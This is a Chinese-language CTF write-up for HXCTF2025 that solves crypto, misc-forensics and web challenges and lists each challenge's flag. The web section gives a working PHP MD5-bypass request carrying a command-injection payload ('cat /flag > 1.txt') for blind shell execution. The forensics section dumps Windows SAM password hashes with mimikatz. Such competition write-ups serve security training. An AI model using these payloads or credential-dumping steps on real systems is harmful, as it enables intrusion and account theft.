HXCTF2025
Crypto
Classic
原字符串bytes.fromhex(str).decode('utf-8')后社会主义核心价值观解码,得到db6b2e47c926f403f02ae9baf031d72aa1a160fc38,根据提示仿射密码进行爆破
exp:
str='db6b2e47c926f403f02ae9baf031d72aa1a160fc38'
str=bytes.fromhex(str)
for a in range(1,256,2):
for b in range(256):
flag=''
for c in str:
flag+=chr((c*a+b)%256)
if flag.startswith('HXCTF{'):
print(flag)
# HXCTF{Y0u_found_^^e!}ezDecision
题目:
from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
flag = b"HXCTF{FAKE_FLAG}"
p = getPrime(64)
def F0():
while(1):
M = random_matrix(Zmod(p), 3, 3)
if M.rank() == 3:
return M.list()
def F1():
while(1):
M = matrix(Zmod(p), [[getRandomRange(-10, 10) for j in range(3)] for i in range(3)])
upper = matrix(Zmod(p), [[1, getRandomRange(0, p), getRandomRange(0, p)],
[0, 1, getRandomRange(0, p)],
[0, 0, 1]])
lower = matrix(Zmod(p), [[1, getRandomRange(0, p), getRandomRange(0, p)],
[0, 1, getRandomRange(0, p)],
[0, 0, 1]]).T
if M.rank() == 3:
break
return (lower*upper*M).list()
output = [F1() if int(i) else F0() for i in bin(bytes_to_long(flag))[2:].zfill(len(flag)*8)]
f = open("data.txt", "w")
print(output, file=f)
print(p, file=f)F1生成矩阵的行列式值mod p后接近0或者p,F0无此特征,且验证得到F0生成矩阵的det() mod p结果距离p和0都很远
exp:
from Crypto.Util.number import *
with open('data.txt','r') as f:
M = eval(f.readline())
p = int(f.readline())
flag = 0
for m in M:
tmp = int(matrix(ZZ,[m[0:3],m[3:6],m[6:9]]).det() % p)
flag <<= 1
if tmp < 10000 or tmp > p - 10000:
flag |= 1
else:
flag |= 0
print(long_to_bytes(flag))
# b'HXCTF{Th3s3_m@trice5_ar3_n0t_di77icu1t_t0_di5tingu1sh}'Babysign
lcg+dsa,参考DSA数字签名-针对随机数k的共享k攻击&线性k攻击_dsa签名 ctf 泄露了随机数k-CSDN博客
from Crypto.Util.number import *
from hashlib import md5
from pwn import *
import os
remote=remote('127.0.0.1', 8888)
def recover_x(q, r, s, h, k):
return (s * k - h) * inverse(r, q) % q
def sign(g,q,p,x,msg,k):
Hm = bytes_to_long(md5(msg).digest())
r = pow(g, k, p) % q
s = (Hm + x * r) * pow(k, -1, q) % q
return (r, s)
re1=remote.recvline(b'[+]: ').decode()
p,q,g,y = map(int, re1.split('(')[1].split(')')[0].split(','))
a = 0xe4b39d062f5eaffe04fd8c302b8f956a43264ead
b = 0xb703a3ec8c6a9520e77d6bb14220abfde7d12dc6
remote.sendlineafter(b'[+]: ',b'hijack')
m1=remote.recvline(b'[+]: ').decode().split(',')
h1=bytes_to_long(md5(bytes.fromhex(m1[0].replace("'",''))).digest())
r1,s1=int(m1[1]),int(m1[2])
remote.sendlineafter(b'[+]: ',b'hijack')
m2=remote.recvline(b'[+]: ').decode().split(',')
h2=bytes_to_long(md5(bytes.fromhex(m2[0].replace("'",''))).digest())
r2,s2=int(m2[1]),int(m2[2])
k = inverse(a * s2 * r1 - s1 * r2, q) * (h2 * r1 - h1 * r2 - b * s2 * r1) % q
x = recover_x(q,r1,s1,h1,k)
msg=b'faritree'+os.urandom(8)
for _ in range(2): k = (a * k + b) % q
r, s = sign(g,q,p,x,msg,k)
remote.sendlineafter(b'[+]: ',b'verify')
remote.sendlineafter(b"Give me message and signature\n[+]: ",f'{msg.hex()+','+str(r)+','+str(s)}'.encode())
print(b'\n'.join(remote.recvlines(2)).decode())ezOPT
如同VNCTF2025的"并非RC4",这种交换有误,使得最后一部分的k就是确定的,1-255爆破一下即可
from Crypto.Cipher import AES
from Crypto.Util.number import *
enc=''
with open('enc.txt', 'r') as f:
enc = f.readlines()
cipher=eval(enc[0])
enc=eval(enc[1])
for k in range(256):
decipher=[i^57^k for i in cipher]
s =[decipher[i:i+16] for i in range(0, len(decipher), 16)]
str = [int.from_bytes(i, "big") for i in s]
S0,S1,S2 = str[-3],str[-2],str[-1]
a = ((S2-S1)*inverse(S1-S0,2**128)) % 2**128
b = (S1 - a*S0) % 2**128
key = (S2*a+b) % 2**128
flag = AES.new(key.to_bytes(16, "big"), mode=AES.MODE_ECB).decrypt(enc)
if b"HXCTF" in flag:
print(f"flag: {flag}")
# flag: b'HXCTF{a_5maLl_m157aK3_L3Ad5_7O_a_hU93_prOBl3m}\x02\x02'WeakSystem
根据已知flag的开头
list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str1='HXCTF{'
for i in range(len(str1)):
print(bin(ord(str1[i]))[2:].zfill(8))
print(bin(list[i])[2:].zfill(8))
print("-----------")
"""
01001000
00001001
-----------
01011000
00011001
-----------
01000011
00100011
-----------
01010100
01010001
-----------
01000110
01100001
-----------
01111011
10111011
-----------
"""可以推测出现顺序为:25634071
list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str2='25634071'
for s in list:
s = bin(s)[2:].zfill(8)
key={key:value for key,value in zip(str2,s)}
s = chr(int(''.join([i[1] for i in sorted(key.items(), key=lambda x:x[0])]),2))
print(s,end='')
# HXCTF{easy_encrypto_What_can_I_say}也可以直接爆破:
import itertools
list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str2 = [''.join([i for i in str]) for str in itertools.permutations('01234567')]
for str in str2:
flag=''
for s in list:
s = bin(s)[2:].zfill(8)
key={key:value for key,value in zip(str,s)}
flag+=chr(int(''.join([i[1] for i in sorted(key.items(), key=lambda x:x[0])]),2))
if 'HXCTF' in flag:
print(flag)
# HXCTF{easy_encrypto_What_can_I_say}WeirVierWilson
威尔逊定理:当p为素数时,(p−1)!=−1modp
此处有range(1,prime)等价于此定理内容,故可以简化为:4
PrivateKey = -1
for i in range(prime+1,prime + prime.bit_length()):
PrivateKey = (PrivateKey * i) % prime从而得到结果:
from Crypto.Util.number import *
prime = 137507368993355914860594752037581031045352928887415381942526303684476934340258890988567168982905997088929819580321685527266991589958746449618579850907765883870406926066972236505061792661515022699471025570619211456282127086268577930799928025034487476640164726617790269194813768322066680097473281637077598071503
n = 135682573094891703553176370837232897617602270323588124823165101627726795394883393432665305493991941306105477252624327158129510957489322126803110534374827392252943932529899808378499467893344818778838011561390030105276983196848035629485680341851450845219061424892927388790415769446019942364106200260533601837319
cipher = 41622954513604406352873105855005440904638036223332018757506281634908104215433400850153277514829103000815542937837390595177169806358970750719651237435525099636604205350232352002592510801557603418471900545470844050105254021489131546373444583233001627136018732688443852250808321663559410660967027997290818817259
PrivateKey = -1
for i in range(prime+1,prime + prime.bit_length()):
PrivateKey = (PrivateKey * i) % prime
print(f"{PrivateKey = }")
print(long_to_bytes(pow(cipher, PrivateKey, n)))
# b"HXCTF{find_+he_f@c+ori@1_i5_very_5imp1e_wi+h_Wi15on'5_+heorem}"base[A]16
观察字符串,符合base91的特征(好吧,用cyberchef试一试就行了,跑几次能看到是91和64的套娃)
import base64
import base91
a="""
...
"""
k=0
while True:
b=base91.decode(a).decode('utf-8')
k+=1
if 'HXCTF' in b:
print(k,b)
break
a=base64.b64decode(b).decode('utf-8')
k+=1
if 'HXCTF' in a:
print(k,a)
break
# 32 HXCTF{B6bbAa@ass5ssEee36b6644A4}ezRSA
根据已知信息爆破$$p_{low}*q_{low}==n_{low}$$
from Crypto.Util.number import *
def get_pq(n, x):
a = [0]
b = [0]
maskx = 1
maskn = 2
for i in range(512):
xbit = (x & maskx) >> i
nbit = n % maskn
t_a = []
t_b = []
for j in range(len(a)):
for aa in range(2):
for bb in range(2):
if aa ^ bb == xbit:
tmp2 = n % maskn
tmp1 = (aa * maskn // 2 + a[j]) * (bb * maskn // 2 + b[j]) % maskn
if tmp1 == tmp2:
t_a.append(aa * maskn // 2 + a[j])
t_b.append(bb * maskn // 2 + b[j])
maskx *= 2
maskn *= 2
a = t_a
b = t_b
for a1, b1 in zip(a, b):
if a1 * b1 == n:
return a1, b1
c = 20581338524773710931014796705060927721164022110933170236907622868446276673276379960074983874694013071501404205921712458516719528791313217075372120292540769607768267213148470047192533783356651951103773544607365700830304720348095357381720861732062131428306950367835186817770742714377511664088124921726109762611
n = 131955690538161673663979223798074678499726259420694182793841613919440640794173261722991102718429029438380697505701015619452283142119487944084622078736557807531823541140258838261464844922518316272881433984179091296264635187662962573084675257499354062781067172877584482339564742280505536614114067794677477277487
leak = 2854831492248561377973114517344274987491834433439026310389937614171692082857812555747188089670141576752295596881129854180086210600895683598247563627762686
# print(get_pq(n, leak))
p,q=(11113942991349591718931137318539743396260239379884216203562999422787515075947711818547244264004890191734871882152561659063904969401500203920653354643291209, 11872986089713421317299505507375936916846603084691936060341849012517323444798572051884859182964850122065017068677498777850682439822551058508514322157039543)
assert p*q==n
phi=(p-1)*(q-1)
print(long_to_bytes(pow(c,inverse(65537,phi),n)))
#b'HXCTF{7his_i5_the_r3al_s1gn-in_que5ti0n}'lfsr
直接上脚本
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import *
enc = b'\x81H\xd7_\x1c[\x00\xffkX+\x8d\n(-(U\xcd\x13$u\xa1\xceY.\x97\xfd8\x90\x07\xf5\x92'
output = 46569537592563541192266548905767353620
mask = 288869314699467157022235107404330039071
# print(mask.bit_count())
# 64
# print(bin(mask)[2:])
# 11011001010100100011010011010001010110011010111010010000100000010001001010101001010100101100100011011100110111111111011100011111
# print(bin(output)[2:])
# 100011000010001111011101111001010010111011111111110101101100011111101000000110011101001010001000100001101010000011110100010100
"""
output_ = bin(output)[2:].zfill(128)
for _ in range(128):
if (int(output_[:-1],2) & mask).bit_count() & 1 == int(output_[-1]):
output_=str(0)+output_[:-1]
else:
output_=str(1)+output_[:-1]
print(output_)
print(f'seed={int(output_,2)}')
"""
seed = 267642768443430299973922842014429964883
cipher = AES.new(long_to_bytes(seed), AES.MODE_ECB)
print(cipher.decrypt(enc))
# b'HXCTF{s1mpl3_1ine@r_5y5tem}\x05\x05\x05\x05\x05'送你弗莱格
莫斯编码,滴是'.',嘀是'_'分隔符,嗒是'-',转换后找个网站就ok
Misc
ez隐写
图片丢随波逐流,自动分离出一个文件:
00405030156577d12e3e267704717bb8030e3be447356b1c6d2d2e2723b17b7ad81f40bcb9c6796931512958813fee749a8aaedcea220f847ab6d4343f268d2c1c80b3e785629d0f407f10506d37e79eb77232518f1025317fedbbd7a94668162c4e197e3d39bc8e2c887059592da158a80f4d14c8e5c3a530f4d59e257ce802980a0d5887a2f824e44057f233450278b16c10bdcbaf3c08ea372030a0478747e27616c66680003008d52192d00240394010a8b0302042bb9b2b400008080810106000705010b0be281e3f001070a112271625提示信息:凡事都有两面性,我们不妨倒过来思考一下
用cyberchef处理,下载逆序后的文件:

压缩包内容0宽隐写

f4k3ctr0n1c的新年祝福
扒拉出题人的QQ空间
f4k3ctr0n1c的旅行1
百度图搜,直接就是古北水镇


学姐的微信在哪里呀
01串转二维码,写个脚本,再手机扫一扫
from PIL import Image
content = []
with open('1.txt', 'r') as f:
content = [line.strip() for line in f.readlines()]
height = len(content)
width = len(content[0])
image = Image.new('RGB', (width, height))
for i in range(height):
for j in range(width):
if content[i][j] == '0':
image.putpixel((j, i), (255, 255, 255))
else:
image.putpixel((j, i), (0, 0, 0))
image.show()测测你的马1

flag{61.139.2.129_61.139.2.1}测测你的马2
特定ip流量分析

flag{H@_hA_y0ur_PC_15_h4cK3d!}测测你的马3
第二问中已经有了(用autopsy打开更明显)

flag{C:\Temp\hack.txt}测测你的马4

flag{w1nh4ck3r}测测你的马5
网上查找信息的时候发现svchost.exe就是一种恶意文件

找到文件得到位置:

flag{C:\Users\Public\Downloads\svchost.exe}测测你的马6
windows的用户密码,导出system和sam


使用mimikatz得到加密结果:


flag{P@ssw0rd!}Web
我们一起来下棋吧
先打开开发者工具,再访问网址,网站源码就有flag
ez_md5
Php md5 和=绕过+shell_exec无回显
GET:
a[]=1
b[]=2
POST:
c=QNKCDZO&d=240610708&love=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&ctf=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&shell=cat%20%2fflag%20%3e%201.txt后方shell先用ls | sleep 5判断是无回显,然后依次
ls > 1.txt
ls / > 1.txt
cat /flag > 1.txt得到:flag{4d8e50bf-a766-4681-82be-d5540e5311cb}